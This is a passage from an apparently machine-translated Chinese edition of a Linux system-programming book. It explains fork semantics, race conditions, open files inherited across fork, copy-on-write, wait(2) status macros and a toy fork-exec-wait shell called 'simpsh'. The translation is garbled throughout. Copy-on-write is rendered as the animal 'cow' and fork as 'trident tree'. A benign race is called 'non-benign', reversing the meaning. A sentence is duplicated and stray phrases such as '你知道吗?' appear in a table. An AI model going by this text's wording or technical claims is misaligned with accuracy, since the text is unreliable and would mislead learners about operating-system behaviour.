子进程和父进程都处理全局变量和局部变量;这里最关键的问题是*:*数据会被破坏吗? - -让我们运行一下,看看: - -```sh -$ ./fork5 -Child process, PID 17271: - loc=9 g=6 -Child (17271) done, exiting ... -Parent process, PID 17270: *<< after 2 sec >>* - loc=7 g=8 -Parent (17270) will exit now... -$ -``` - -嗯,数据变量没有损坏。 再说一次,这里最关键的一点是:因为孩子有父母变量的副本,所以一切都很顺利。因为它们相互独立地改变;它们不会踩到对方的脚趾。 因此,请考虑以下内容: - -**派生规则#4**:*数据跨派生复制,而不是共享*。 - -# 分叉规则 5-赛车 - -注意到前面代码(`ch10/fork5.c`)中的`sleep(2);`语句周围的`#if 1`标记和`#endif`标记了吗? 当然,这意味着代码将被编译并运行。 - -如果我们把`#if 1`号改成`#if 0`号呢? 很明显,`sleep(2);`的声明已经被有效地汇编出来了。 让我们这样做:重建并重新运行`fork5`计划。 现在会发生什么呢? - -想想看:叉子规则 4 告诉我们这个故事。 在分叉之后,我们仍然使子进程和父进程处理数据变量的单独副本;因此,我们前面看到的值不会完全改变。 - -不过,这一次没有让父子粗略同步的休眠模式;因此,问题来了,是先运行针对子代的`printf `,还是先运行父代代码(显示变量值)呢? 换句话说,我们真正在问的问题是:在没有任何类型的同步原语的情况下,在第一个`fork(2)`之后,哪个进程将首先获得处理器:父进程还是子进程?简短的答案是下一条规则: - -**派生规则#5**:*在派生之后,父进程和子进程之间的执行顺序是不确定的*。 - -不确定? 嗯,这是一种奇特的说法,*我们真的不知道*或*它是不可预测的*。 这就是问题所在:系统开发人员不应该试图预测执行的顺序。 现在运行修改后的语句`fork5 `(`no sleep(2)`语句): - -```sh -$ ./fork5 -Parent process, PID 18620: - loc=7 g=8 -Parent (18620) will exit now... -Child process, PID 18621: - loc=9 g=6 -Child (18621) done, exiting ... -$ -``` - -啊,家长先跑,那也不算什么!您下一个五万次试运行,家长可能会先跑,但是在五万次试运行的时候,子进程可能会先跑。 别管它:它是不可预测的。 - -这就引出了另一个关键点(在软件中很常见):我们在这里有所谓的**竞争条件**。 一场真正的比赛就是它所说的:我们不能肯定地预测谁将是胜利者。 在之前的程序中,我们真的不在乎父进程或子进程赢得竞争(先运行):这被称为非良性竞争条件。 但通常在软件设计中,我们实际上并不关心;但在这种情况下,我们需要一种方法来保证赢家。 换句话说,要打败这场比赛。 这就是所谓的同步。 (如前所述,我们将在本章后面详细讨论这一点。) - -# 进程和打开的文件 - -要清楚了解分叉策略对开放文件的影响,我们需要稍微跑题,简要了解一些背景信息。 - -In fact, for those readers very new to performing I/O on files within the Unix paradigm, it will be beneficial to first read through the [Appendix A](https://www.packtpub.com/sites/default/files/downloads/File_IO_Essentials.pdf), *File I/O Essentials*, before tackling this section. - -Unix/Linux 进程在启动时将默认分配三个打开的文件;我们在本书前面已经讨论了这些基本点。 为方便起见,这三个打开的文件分别称为进程的`stdin`*、*`stdout`*、*和`stderr `;它们分别自动默认到键盘、监视器以及`stdin`*、*`stdout`*、*和`stderr`的监视器。 不仅如此,真正的应用在执行任务时肯定会打开其他文件。 回想一下分层的系统体系结构;如果 Linux 应用使用`fopen(3)`库 API 打开一个文件,它最终将归结为`open(2)`的系统调用,它返回打开文件的句柄,称为**的文件描述符**。 (想想看:我考虑在 Linux 上运行一个打开文件的 Java 应用:最终,这一次,通过 JVM,这项工作将通过相同的`open(2)`系统调用来完成!) - -这里的要点是:内核将每个进程的打开文件存储在一个数据结构中(在经典的 Unix 术语中,它被称为**Open File Descriptor Table**(**OFDT**))。 我们在前面讨论了子进程在分叉上继承的特征的部分中看到,*和*打开的文件确实是由子进程继承的。 为了便于讨论,请考虑以下伪代码片段: - -```sh -main -... - foo - fd = open("myfile", O_RDWR); - ... - fork() - // Child code - *... work_on_file(fd) ...* - // Parent code - *... work_on_file(fd) ...* - ... -``` - -在这里,文件`myfile `现在对两个进程都可用,并且可以通过文件描述符:`fd`进行操作! 但请稍等:应该清楚的是,子进程和父进程同时处理同一文件肯定会损坏文件;或者,如果不是文件内容,至少是应用。 要理解这一点,请考虑函数`work_on_file`*(*伪代码): - -```sh -work_on_file(int fd) -{ /* perform I/O */ - lseek(fd, 0, SEEK_SET); - read(fd, buf, n); - lseek(...); - write(fd, buf2, x); - ... -} -``` - -# 分叉规则 6-打开文件 - -您可以看到,如果没有任何同步,将会造成严重破坏! 因此,下一条分叉规则是: - -**分支规则#6**:*打开的文件在分支****之间(松散地)共享。*** - -所有这一切的结果是:系统程序员必须明白,如果父进程打开了一个文件(或多个文件),那么它会幼稚地同时处理该文件(请记住分叉规则 3!)。 很可能会造成虫子。 一个关键原因是:虽然进程是不同的,但它们处理的主要对象,打开的文件,更准确地说,它的索引节点是一个不同的对象,因此是共享的。 事实上,文件的*Seek**位置*是 inode 的一个属性;在没有同步的情况下盲目地重新定位父和子节点中的查找指针几乎肯定会出现问题。 - -让事情保持平稳运行大致有两种选择: - -* 将进程的其中一个进程关闭到文件中 -* 同步对打开的文件的访问 - -第一种方法使事情变得简单,但在实际应用中的用处有限;它们通常要求文件保持打开状态。 因此,第二个选择:您究竟如何同步对打开的文件的访问? - -同样,本书没有介绍详细信息,但非常简短地说,您可以在进程之间同步文件 I/O,如下所示: - -* 通过 SysV IPC 或 POSIX 信号量 -* 通过文件锁定 - -第一种方法很管用,但很粗糙。 这不被认为是正确的方式。 第二种解决方案,使用文件锁定,绝对是首选方案。 (这里没有详细介绍文件锁定,请参阅*进一步阅读*部分,以获得 GitHub 存储库上关于文件锁定的优秀教程的链接。) - -同样重要的是要认识到,当父进程或子进程关闭打开的文件时,其对打开文件的访问权限将关闭;该文件在另一个进程中仍处于打开状态。 这就是“松散共享”这句话的真正含义。 - -为了快速演示这个问题,我们编写了一个简单的程序:`ch10/fork_r6_of.c `(这里,的**代表**open file**)。 *我们让读者来浏览源代码;下面是解释和示例输出。*** - - *首先,我们让进程打开一个常规文件 TST; 然后,我们使子进程执行以下操作:寻找偏移量 10,并写入`c`的*行数*和(等于 100)行。并行地,如果我们让父进程这样做:寻找偏移量 10+(80*100),写入*数目行*行 p。因此,当我们完成并检查文件时,我们预计会有 100 行`c`和 100 行`p`。但是, 以下是实际运行情况: - -```sh -$ ./fork_r6_of -Parent process, PID 5696: - in fork_r6_of.c:work_on_file now... - context: parent process -Child process, PID 5697: - in fork_r6_of.c:work_on_file now... - context: child process -Parent (5696) will exit now... -Child (5697) done, exiting ... -$ -``` - -以下是运行后测试文件的内容: - -```sh -$ vi tst -^@^@^@^@^@^@^@^@^@^@ppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppp -ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc -ppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppp -ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc -ppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppp -ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc -[...] -:q -$ -``` - -`p`和`c`会交错!确实如此,因为进程是并行运行的,没有任何形式的同步。 (通过检查文件内容,我们可以从字面上看到内核 CPU 调度器是如何在父进程和子进程之间进行上下文切换的)。 通过不使用同步,我们已经建立了一场新的竞赛。 那么,我们如何才能让这件事变得正确呢? 前面提到过:文件锁定确实是解决问题的办法(注意:不要尝试与我们使用的父代码中愚蠢的`sleep(2)`)同步;这只是为了演示;另外,我们将很快介绍同步子和父代码的正确方法。)(注:不要试图与我们使用的父代码中愚蠢的`sleep(2)`同步;这只是为了演示;另外,我们将很快介绍同步子和父代码的正确方法。) - -# 打开的文件和安全性 - -这也是关于安全的一个关键点,对于执行和分叉场景都是如此。 - -当您执行前一`exec `操作时,前置进程的 VAS 实质上会被后继进程的 VAS 覆盖。 但是,请注意,前一个进程的所有打开文件(在 OS 中以前面提到的称为 OFDT 的每个进程结构保存)保持不变,并且实际上是由后续进程继承的。 这可能会构成严重的安全威胁。 想想看:如果前辈使用的安全敏感文件没有关闭,并执行了安全执行,该怎么办? 后继者现在可以通过其文件描述符访问它,无论它是否利用该知识。 - -同样的论点也适用于派生;如果父进程打开了安全敏感的文件,然后派生,则子进程也可以访问该文件(派生规则#6)。 - -为了准确地解决这个问题,在 Linux 2.6.23 内核中,`open(2)`的系统调用包含了一个新的标志:`O_CLOEXEC`。 当在`open(2)`内指定此标志时,相应的文件将在该进程将来执行的任何`exec `操作时关闭。 (在较早的内核中,开发人员必须通过`fcntl(2)`命令执行显式的`F_SETFD`操作才能设置`FD_CLOEXEC`位)。 - -在使用分叉时,程序员必须包括在分叉之前关闭父级中任何安全敏感文件的逻辑。 - -# 马洛克和叉子 - -程序员可能会偶然或犯下的一个常见错误是:假设在一个进程中成功地分配了内存,比方说,使用`p = malloc(2048)`。 假设变量`p`*和*是全局的。 过了一段时间,这个过程就分叉了。 开发人员现在希望父进程将一些信息传递给子进程;因此,她说,让我们只需写入共享缓冲区`p`,工作就会完成。 不,这不管用! 让我们详细说明:错误分配的缓冲区对两个进程都是不可见的,但不是以他们认为的方式。 错误的假设是,错误分配的缓冲区是父进程和子进程之间共享的;如果不共享,它就会被复制到子进程的 VAS。请回想一下分支规则#4:数据不是共享的;它是跨分支复制的。 - -我们必须测试这个案例;看一下下面的代码片段(源文件:`ch10/fork_malloc_test.c`): - -For readability, only the relevant parts of the code are displayed here; to view and run it, the entire source code is available here: [https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux](https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux). - -```sh -const int memsz=2048; -static char *gptr; -[...] -main(int argc, char **argv) -{ - gptr = malloc(memsz); - [...] - printf("Init: malloc gptr=%p\n", gptr); - [...] - switch ((ret = fork())) { - case -1: [...] - case 0: /* Child */ - printf("\nChild process, PID %d:\n", getpid()); - memset(gptr, 'c', memsz); - disp_few(gptr); - [...] - printf("Child (%d) done, exiting ...\n", getpid()); - exit(EXIT_SUCCESS); - default: /* Parent */ -#if 1 - sleep(2); /* let the child run first */ -#endif - printf("\nParent process, PID %d:\n", getpid()); - memset(gptr, 'p', memsz); - disp_few(gptr); - [...] - } - free(gptr); -[...] -``` - -用于显示内存缓冲区的几(16)字节的函数`disp_few`非常简单: - -```sh -static inline void disp_few(char *p) -{ - int i; - printf(" malloc gptr=%p\n ", p); - for (i=0; i<16; i++) - printf("%c", *(p+i)); - printf("\n"); -} -``` - -我们建造并运行它: - -```sh -$ ./fork_malloc_test -Init: malloc gptr=0x1802260 - -Child process, PID 13782: - malloc gptr=0x1802260 - cccccccccccccccc -Child (13782) done, exiting ... - -Parent process, PID 13781: - malloc gptr=0x1802260 - pppppppppppppppp -Parent (13781) will exit now... -$ -``` - -立即需要注意的第一件事是:父进程和子进程中指向内存缓冲区(`0x1802260`)的指针是相同的,从而得出结论认为它就是指向的同一个内存缓冲区。 嗯,这不是;这是一个很容易犯的错误。 检查父级和子级中错误定位的缓冲区的*内容*;父级中的内容是`p`,子级中的内容是`c`;如果它真的是同一个缓冲区,则内容将完全相同。(=。 那么,到底是怎么回事呢? - -正如现在多次提到的,数据是通过分叉复制的,而不是共享的*(*我们的分叉规则#4)。 好的,那为什么地址是一样的呢? 原因有二: - -* *地址是虚拟地址(不是物理地址,我们应该从[第 2 章](02.html)、*虚拟内存*中的讨论中很好地知道) -* 它实际上不是同一个虚拟地址;现代操作系统(如 Linux)不会立即复制数据和堆栈段;它们使用一种名为**写入时复制**(**COW**)的优化语义。 - -# 简而言之,母牛 - -这需要一些解释。 到目前为止,为了使讨论在概念上保持简单,我们已经说过,在派生之后,内核会将父进程的所有 VAS 段(以及所有其他继承的进程属性)复制到新的子进程。 这是夸张的;现实是,试图这样做会使`fork(2)`在实践中站不住脚,因为它需要太多的 RAM 和太多的时间。 (事实上,即使经过了几次优化,三叉树仍然被认为是重量级的。) - -让我们离题:其中一个优化是内核不会将文本(代码)段复制到子进程中;它只与子进程共享父进程的文本段(虚拟)页面。 这很有效,因为文本在任何情况下都只是可读和可执行的(r-x);因此,既然它永远不会改变,为什么要复制呢? - -但是数据和堆栈段呢? 他们的页面毕竟是可读写的(RW-),那么操作系统如何才能将它们与孩子共享呢? 啊,这就是牛的语义学派上用场的地方。 要理解 COW,请考虑操作系统标记为 COW 的单个虚拟页面。 这实际上意味着:只要两个进程(父进程和子进程)都将页面视为只读,它们就可以共享该页面;不需要复制。 但是,一旦其中一个修改了页面(甚至是其中的一个字节),操作系统就会介入并创建页面的副本,然后将该副本移交给执行写入的进程。 - -因此,如果我们有一个全局变量:`g=5`和`fork(2)`,则包含`g`数据的页面将被操作系统标记为 COW;父级和子级共享它,直到其中一个写入数据`g`。 此时,操作系统会创建包含(更新的)变量的页面副本,并将其交给编写器。 因此,COW 的最小粒度是一页。 - -事实上,Linux 积极强制执行 COW,以最大限度地进行优化。 不仅仅是数据和堆栈段,我们前面讨论的大多数其他可继承的进程属性实际上都没有复制到子进程中,它们是完全共享的,这有效地使 Linux 的数据分叉变得极其高效。 - -通过注意对数据变量(全局变量和局部变量)执行的 COW 优化的相同效果,可以获得对这些要点的更多了解;只需使用任何参数运行我们的测试用例程序,它就会在内部对两个变量运行一个小测试用例:一个全局变量和一个局部变量: - -```sh -$ ./fork_malloc_test anyparameter -Init: malloc gptr=0xabb260 -Init: loc=8, g=5 - -Child process, PID 17285: - malloc gptr=0xabb260 - cccccccccccccccc - loc=9, g=4 - &loc=0x7ffc8f324014, &g=0x602084 -Child (17285) done, exiting ... - -Parent process, PID 17284: - malloc gptr=0xabb260 - pppppppppppppppp - loc=7, g=6 - &loc=0x7ffc8f324014, &g=0x602084 -Parent (17284) will exit now... -$ -``` - -请注意,在父进程和子进程中,全局进程`g`和本地进程`loc `的地址是相同的。 但为什么呢?牛的故事将会像他们写的那样被表演。 是的,但我认为:这都是虚拟地址;但实际的物理地址在幕后会有所不同。 - -有时,您会感觉到现代操作系统会不遗余力地迷惑和迷惑可怜的系统程序员! 我们刚才提出的两个要点似乎是互相矛盾的: - -* 分叉规则 4:数据跨分叉复制,而不是共享 -* 数据/堆栈(以及许多其他数据)并不是真正复制到叉子上,而是奶牛共享 - -我们如何解决这种情况? 实际上,这很简单:第一个(我们的分叉规则#4)是使用分叉时的正确思考方式;第二个陈述是在 OS 层的幕后真正发生的事情。 这是关于产品优化的,仅此而已。 - -这里有一个建议:戴上应用开发者的帽子时,不要过度关注底层 OS 的 COW 优化细节;更重要的是理解其意图,而不是真正的优化。 因此,对于使用`fork(2)`分支的 Linux 应用开发人员而言,仍然存在的关键概念点是分支规则#4:数据跨分支复制,而不是共享。 - -# 等待和我们的 SIMPSH 项目 - -让我们给自己做一个有趣的学习练习:一个小项目。 当然,我们希望在 Linux 操作系统上使用 C 实现我们自己的一个非常简单的 shell。 让我们称它为我们的`simpsh`-Simple 外壳-项目。 - -Note: simpsh is a very small, minimally functioning shell. It works with only single-word commands. It does not support features such as redirection, piping, shell built-ins, and so on. It's meant to be a learning exercise. - -至少目前的规范是这样的:显示一个提示符(比如`>>`),在提示符处接受用户命令,然后执行它。 这是停止条件:如果用户输入`quit`,则终止(类似于在实际 shell 进程上键入`logout`、`exit`、c 或 s`Ctrl + D`)。 - -这似乎非常简单:在我们的 C 程序中,您进入一个循环,显示所需的提示符,接受用户输入(让我们使用`fgets(3)`*和*来做这件事)进入一个`cmd `变量,然后使用 Exec 系列 API 中的一个(一个简单的`execl(3)`听起来很有希望)来执行它。 - -嗯,是的,除了,你怎么会忘记,在 exec 操作成功后,前身进程实际上已经丢失了!我们的 shell 一旦执行任何操作,就会丢失(就像我们之前的实验 1:在 CLI 上,实验 2-演示了)。 - -例如,如果使用前面的简单方法,我们尝试使用 shell 命令 simpsh 执行`ps(1)`*和*,它将如下所示: - -![](img/3dd4bb45-0b97-4f6b-83a7-81d59fb769e3.png) - -# Unix fork-exec 语义 - -所以,这是行不通的。 我们真正需要的是一种方法,让我们简单的 shell 和 simpsh 程序在执行和*和*操作后,能够在*中保持良好的生命力,但我们如何才能实现这一点呢?* - -分叉就是答案!下面是我们要做的:在用户提供输入(一个命令)之后,我们就有了我们的 shell 分叉。 我们现在有两个完全相同的 shell:原来的父 shell(假设它有 pid x)和全新的子 shell(Pid Y)。子 shell 被用作牺牲的羔羊:我们已经让它执行了 user 命令。所以,是的,子进程是不可能返回的前置进程;但这没有问题,因为我们有活的、很好的父 shell 进程! - -这种众所周知的技术被称为语义的*分叉-exec*。 它将其他几个操作系统所称的派生过程组合成两个离散的操作:进程创建(Fork)和进程执行(Exec)。 再一次展示了出色的 Unix 设计: - -![](img/d02c4005-7234-4da0-9e9b-8399cec8896c.png) - -在上图中,将时间轴可视化为(水平)x 轴。 此外,我们使用蓝色来表示孩子的执行路径。 - -一旦父外壳检测到已执行的子外壳已完成,它将再次显示外壳提示。 - -# 需要等待 - -Fork-exec*和*非常有趣,但请稍等片刻:当子进程对用户命令执行`exec`操作时,后续进程正在运行(由上图中的蓝点划线表示),父进程应该做什么? 显然,它应该等待,但要等多久呢? 我们应该让它睡觉吗? 嗯,不是的,因为睡眠是以睡眠的秒数为论据的。 我们事先不知道继任者需要多长时间(可能是毫秒,也可能是几个月)。 正确的做法是:让父进程等到子进程(现在是继承者)死亡。 - -这正是`wait(2)`API 的设计初衷。 当父进程发出`wait(2)`API 时,它就会进入休眠状态;它的子进程一死,它就会被唤醒! - -# 执行等待 - -`wait(2)`API 是阻塞调用的经典示例:调用进程被置于休眠状态,直到它等待(或阻塞)的事件发生。 当事件确实发生时,它会被唤醒并继续运行。 - -因此,想想看:一个进程派生;然后父进程发出`wait (2)`API,它阻塞的事件是子进程的死亡!当然,子进程继续运行;当子进程确实死亡时,内核唤醒或解除父进程的阻塞;现在它继续执行其代码。 以下是`wait(2)`的签名: - -```sh -#include -#include -pid_t wait(int *wstatus); -``` - -目前,我们将忽略 to`wait(2)`;我们将只传递 null(或`0`)(当然,我们稍后将介绍它)。 - -# 在一次又一次的比赛中击败对手 - -回想一下我们前面在第`ch10/fork5.c`章中看到的示例代码。 *和*在此程序中,我们通过在父进程的代码中引入一个`sleep(2);`*和*语句来人为地、粗略地等待子进程: - -```sh -[...] - default: /* Parent */ -#if 1 - sleep(2); /* let the child run first */ -#endif - printf("Parent process, PID %d:\n", getpid()); -[...] -``` - -这还不够好:如果子进程完成工作的时间超过两秒怎么办? 如果只需要几毫秒,那么我们就不必要地浪费时间。 - -这就是我们解决这场竞赛的方式:谁先跑,家长还是孩子? 显然,分叉规则 5 告诉我们它是不确定的。 但是,在现实世界的代码中,我们需要一种方法来确保其中一个确实是首先运行的-比方说,子进程。 有了 WAIT API,我们现在就有了一个合适的解决方案! 我们将前面的代码片段更改为: - -```sh -[...] - default: /* Parent */ - wait(0); /* ensure the child runs first */ - printf("Parent process, PID %d:\n", getpid()); -[...] -``` - -想一想这是如何工作的:在分叉之后,这是一场竞赛:如果子进程确实先运行,那么就不会造成任何伤害。 然而,在不久的将来的某个时候,父进程将无法获得 CPU;这很好,因为它所做的一切就是通过调用等待来阻止对子进程的访问。*如果父进程确实在分叉之后首先运行,那么同样的事情也会发生:通过调用等待来阻止对子进程的访问。 我们有效地打败了这场比赛! 通过发出等待作为派生之后父进程中做的第一件事,我们有效地保证子进程先运行。 - -# 把它组合在一起-我们的 Simpsh 项目 - -现在,我们已经准备好了所有的细节--即,fork-exec*和*语义和`wait`*和*API--我们可以看到应该如何设计我们的简单 shell 了。 - -在 C 程序中,进入循环,显示所需的提示符,接受用户输入(让我们使用`fgets(3)`*和*来做这件事-为什么? 请阅读即将到来的(提示),将其转换成一个`cmd`的变量,然后是叉子。 在子代码中(使用分支规则#2 来区分父代和子代),可以使用众多执行系列 API 中的一个(简单的`execlp(3)`,在这里听起来很有希望)来执行用户提供的命令。 同时(回想一下分叉规则#3),让父进程调用 Wait API;父进程现在会一直休眠,直到子进程死亡。 现在再次循环,重复整个过程,直到用户键入`'quit'`键退出。 大家都很开心! - -![](img/2992e6e4-fcea-4b60-8bee-81d7b9ebc4bb.png) - -实际上,我们现在有了一个被利用的`fork-exec-wait `语义层! - -`fgets(3)`: For security reasons, do not use the traditionally taught APIs such as `gets(3)` or `scanf(3)` to receive user input; they are poorly implemented, and they do not provide any bounds-checking capabilities. The `fgets(3)` does; thus, using it, or `getline(3)`, is far superior security-wise. (Again, as mentioned earlier in this book, hackers exploit these vulnerabilities in commonly used APIs to perform stack-smashing, or other types of attacks.) - -当然,我们的 Simpsh shell 在范围上相当有限:它只适用于*的*单字命令(如`ps`、`ls`、`vi`、`w`等)。 阅读代码并思考为什么会出现这种情况。 - -开始吧(源代码:`ch10/simpsh_v1.c`): - -For readability, only the relevant parts of the code are displayed here; to view and run it, the entire source code is available here: [https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux](https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux). - -```sh -static void do_simpsh(void) -{ -[...] - while (1) { - if (!getcmd(cmd)) { - free(cmd); - FATAL("getcmd() failed\n"); - } - /* Stopping condition */ - if(!strncmp(cmd, "quit", 4)) - break; -[...] -``` - -如您所见,我们进入循环,通过我们编写的函数`getcmd`接受用户的命令(命令`fgets`在其中发出),然后检查用户是否输入了`quit`,在这种情况下,我们退出。 - -真正的工作,也就是`fork-exec-wait`的语义,发生在这里,在循环中: - -```sh -[...] - /* Wield the powerful fork-exec-wait semantic ! */ - switch ((ret = fork())) { - case -1: - free(cmd); - FATAL("fork failed, aborting!\n"); - case 0: /* Child */ - VPRINT - (" Child process (%7d) exec-ing cmd \"%s\" now..\n", - getpid(), cmd); - if (execlp(cmd, cmd, (char *)0) == -1) { - WARN("child: execlp failed\n"); - free(cmd); - exit(EXIT_FAILURE); - } - /* should never reach here */ - exit(EXIT_FAILURE); // just to avoid gcc warnings - default: /* Parent */ - VPRINT("Parent process (%7d) issuing the wait...\n", - getpid()); - /* sync: child runs first, parent waits for child's death */ - if (wait(0) < 0) - FATAL("wait failed, aborting..\n"); - } // switch - } // while(1) -``` - -(与参数传递有关的逻辑-显示帮助屏幕、详细开关、实际参数`fgets`、参数 calloc/free 等没有明确显示;请参阅源文件`simpsh_v1.c`)。 - -让我们试一试: - -```sh -$ ./simpsh_v1 --help -Usage: ./simpsh_v1 [-v]|[--help] - -v : verbose mode - --help : display this help screen. -$ ./simpsh_v1 -v ->> ps - Parent process ( 1637) issuing the wait... - Child process ( 1638) exec-ing cmd "ps" now.. - PID TTY TIME CMD - 1078 pts/0 00:00:00 bash - 1637 pts/0 00:00:00 simpsh_v1 - 1638 pts/0 00:00:00 ps ->> uname - Parent process ( 1637) issuing the wait... - Child process ( 1639) exec-ing cmd "uname" now.. -Linux ->> uname -a - Parent process ( 1637) issuing the wait... - Child process ( 1640) exec-ing cmd "uname -a" now.. -!WARNING! simpsh_v1.c:do_simpsh:90: child: execlp failed -perror says: No such file or directory ->> www - Parent process ( 1648) issuing the wait... - Child process ( 1650) exec-ing cmd "www" now.. -!WARNING! simpsh_v1.c:do_simpsh:90: child: execlp failed -perror says: No such file or directory ->> quit - Parent process ( 1637) exiting... -$ -``` - -我们在详细模式下运行程序;您可以看到 shell 提示字符串`>>`以及每个详细打印;它们以`[v]:`为前缀。 请注意它对于单字命令是如何工作的;当我们传递一些未知的东西或带有多个字的时候(例如,`www`和`uname -a`),`execlp(3)`就会失败;我们会捕捉到失败并发出警告消息;程序会继续运行,直到用户退出。 - -下面是另一个快速实验:我们可以使用我们的命令`simpsh_v1`*和*程序生成另一个 shell(`/bin/sh`): - -```sh -$ ./simpsh_v1 -v ->> sh -[v]: Parent process ( 12945) issuing the wait... -[v]: Child process ( 12950) exec-ing cmd "sh" now.. -$ ps - PID TTY TIME CMD - 576 pts/3 00:00:00 git-credential- - 3127 pts/3 00:00:01 bash -12945 pts/3 00:00:00 simpsh_v1 -12950 pts/3 00:00:00 sh *<< the newly spawned sh >>* -12954 pts/3 00:00:00 ps -31896 pts/3 00:00:40 gitg -$ exit -exit ->> ps -[v]: Parent process ( 12945) issuing the wait... -[v]: Child process ( 12960) exec-ing cmd "ps" now.. - PID TTY TIME CMD - 576 pts/3 00:00:00 git-credential- - 3127 pts/3 00:00:01 bash -12945 pts/3 00:00:00 simpsh_v1 -12960 pts/3 00:00:00 ps -31896 pts/3 00:00:40 gitg ->> -``` - -它按照预期工作(嘿,您甚至可以尝试生成相同的进程`simpsh_v1`)。 所以,我们就在这里,第一个非常简单但功能正常的外壳。 - -为什么长达一个字以上的命令都会失败呢? 答案在于我们如何使用`execlp(3)`API 执行后续版本。 回想一下,对于 execlp,我们要传递程序名(当然会自动搜索路径)和所有参数,从`argv[0]`开始。 在我们的简单实现中,我们只传递`argv[0]`的第一个参数;这就是原因所在。 - -那么,我们如何让它与带有任意数量参数的命令一起工作呢? 嗯,这确实涉及到一些字符串处理工作:我们必须将参数标记为单独的字符串,初始化指向它们的指针的`argv`*和*数组,然后通过`execv[pe]`API 使用这个数组`argv`*和*。我们把它留给读者作为一个稍微更具挑战性的练习! (提示:C 库提供了对字符串进行符号化的 API;`strtok(3)`*、*`strtok_r(3)`*;*查找)。 - -In effect, our simpsh project is a simplistic implementation of the `system(3)`library API. Note that from a security viewpoint, it's always recommended to use field-proven and tested APIs like `system(3)`rather than a home-grown` fork-exec-wait` piece of code. Here, of course, we code it for learning purposes. - -# 等待 API-详细信息 - -在我们的 Simpsh 应用中,我们确实使用了`wait(2)`API,但并没有真正深入研究细节: - -```sh -pid_t wait(int *wstatus); -``` - -需要理解的是:`wait(2)`是阻塞调用;它会导致调用进程阻塞,直至子进程死亡。 - -从技术上讲,`wait(2)`(以及我们稍后看到的相关 API)实际上阻止了正在进行状态更改的子进程;那么,状态更改就是孩子的最终死亡,对吗? 是的,但真正重要的是要理解,不仅仅是这样:可能的状态变化如下: - -* 子进程按如下方式终止: - * 正常情况下(通过脱落`main`,或拨打电话`[_]exit()`) - * 不正常的(被信号杀死)。 -* 孩子被发送了一个停止它的信号(通常是`SIGSTOP`或`SIGTSTP`)。 -* 在被停止后,它被传递了一个信号,它将继续(恢复)它(通常是`SIGCONT`;我们将在下一章详细介绍信号)。 - -不过,通用的`wait(2)`系统调用会在孩子死亡(终止)时阻塞,而不是前面提到的任何其他与信号相关的状态更改。 (这是可以做到的吗? 是的,确实,我们将在本章后面介绍`waitpid(2)`*(*系统调用)。 - -WAIT 的参数是指向整数`wstatus`的指针。 实际上,它更多地被视为一个返回值,而不是要传递的参数;这是一种非常常见的 C 编程技术:将参数视为返回值。 Linux 上的系统调用经常使用它;这种技术通常被称为取值-结果函数或输入-输出函数参数。我想一想:我们将变量的地址传递给它;内部拥有该地址的 API 可以更新它(戳它)。 - -关于参数 T`wstatus`的下一件事是这样的:当整数被视为一个位掩码时,*和*不被视为绝对值。 同样,这也是程序员常用的 C 优化技巧:我们可以通过将几条信息作为位掩码来处理,从而将其放入一个整数中。 那么,如何解释返回的位掩码呢? 出于可移植性的原因,C 库提供了预定义的宏来帮助我们解释位掩码(这些宏通常位于``*和*中)。 这两个宏成对工作:第一个宏返回布尔值;如果返回 TRUE,则查找第二个宏的结果;如果返回 FALSE,则完全忽略第二个宏。 - -题外话:进程可以以两种方式之一死亡:正常或异常。正常终止意味着进程自愿死亡;它只是脱离了`main()`,或被称为`exit(3)`或`_exit(2)`,将退出状态作为参数传递(退出状态的约定:零表示成功,非零表示失败,并被视为失败代码)。 另一方面,异常终止意味着进程非自愿死亡-它通常是通过信号被杀死的。 - -以下是等待宏对及其含义: - -| **第一个宏** | **第二个宏** | **含义** | -| `WIFEXITED` | `WEXITSTATUS` | 孩子正常死亡:`WIFEXITED`为真;然后,`WEXITSTATUS`-孩子的退出状态。 -儿童异常死亡:`WIFEXITED`为假 - | -| `WIFSIGNALED` | `WTERMSIG` | 孩子死于信号:`WIFSIGNALED`为真;那么,`WTERMSIG`就是杀死它的信号。 | -| | `WCOREDUMP` | 如果孩子死后产生核心转储,则为真。 | -| `WIFSTOPPED` | `WSTOPSIG` | 如果孩子是通过信号停止的,则为真;那么,`WSTOPSIG`是停止它的信号。 | -| `WIFCONTINUED` | -你知道吗? | 如果 CHILD 被停止并随后通过信号(`SIGCONT`)恢复(继续),则为 TRUE。 | - -(在包含`WCOREDUMP`的行中,缩进旨在表示只有当`WIFSIGNALED`为真时才能看出`WCOREDUMP`是有意义的)。 - -那么`wait(2)`的实际返回值本身呢? 显然,`-1`表示失败(当然内核将设置为`errno`以反映失败的原因);否则,在成功时,它是死亡的进程的 PID,从而解锁父进程的等待。 - -为了试用我们刚刚学到的东西,我们复制了一份`simpsh_v1`*和*程序,并将其命名为`ch10/simpsh_v2.c`*。*同样,我们在这里只展示了相关的代码片段;完整的源代码文件在本书的 GitHub 存储库中: - -```sh -[...] - default: /* Parent */ - VPRINT("Parent process (%7d) issuing the wait...\n", - getpid()); - /* sync: child runs first, parent waits for child's death */ - if ((cpid = wait(&wstat)) < 0) { - free(cmd); - FATAL("wait failed, aborting..\n"); - } - if (gVerbose) - interpret_wait(cpid, wstat); - } // switch -} // while(1) -[...] -``` - -如您所见,我们现在捕获了`wait (2)`(更改状态的子进程的 PID)的返回值,如果我们在详细模式下运行,则调用我们自己的函数`interpret_wait`;它将提供详细说明具体发生了哪些状态更改的输出;如下所示: - -```sh -static void interpret_wait(pid_t child, int wstatus) -{ - VPRINT("Child (%7d) status changed:\n", child); - if (WIFEXITED(wstatus)) - VPRINT(" normal termination: exit status: %d\n", - WEXITSTATUS(wstatus)); - if (WIFSIGNALED(wstatus)) { - VPRINT(" abnormal termination: killer signal: %d", - WTERMSIG(wstatus)); - if (WCOREDUMP(wstatus)) - VPRINT(" : core dumped\n"); - else - VPRINT("\n"); - } - if (WIFSTOPPED(wstatus)) - VPRINT(" stopped: 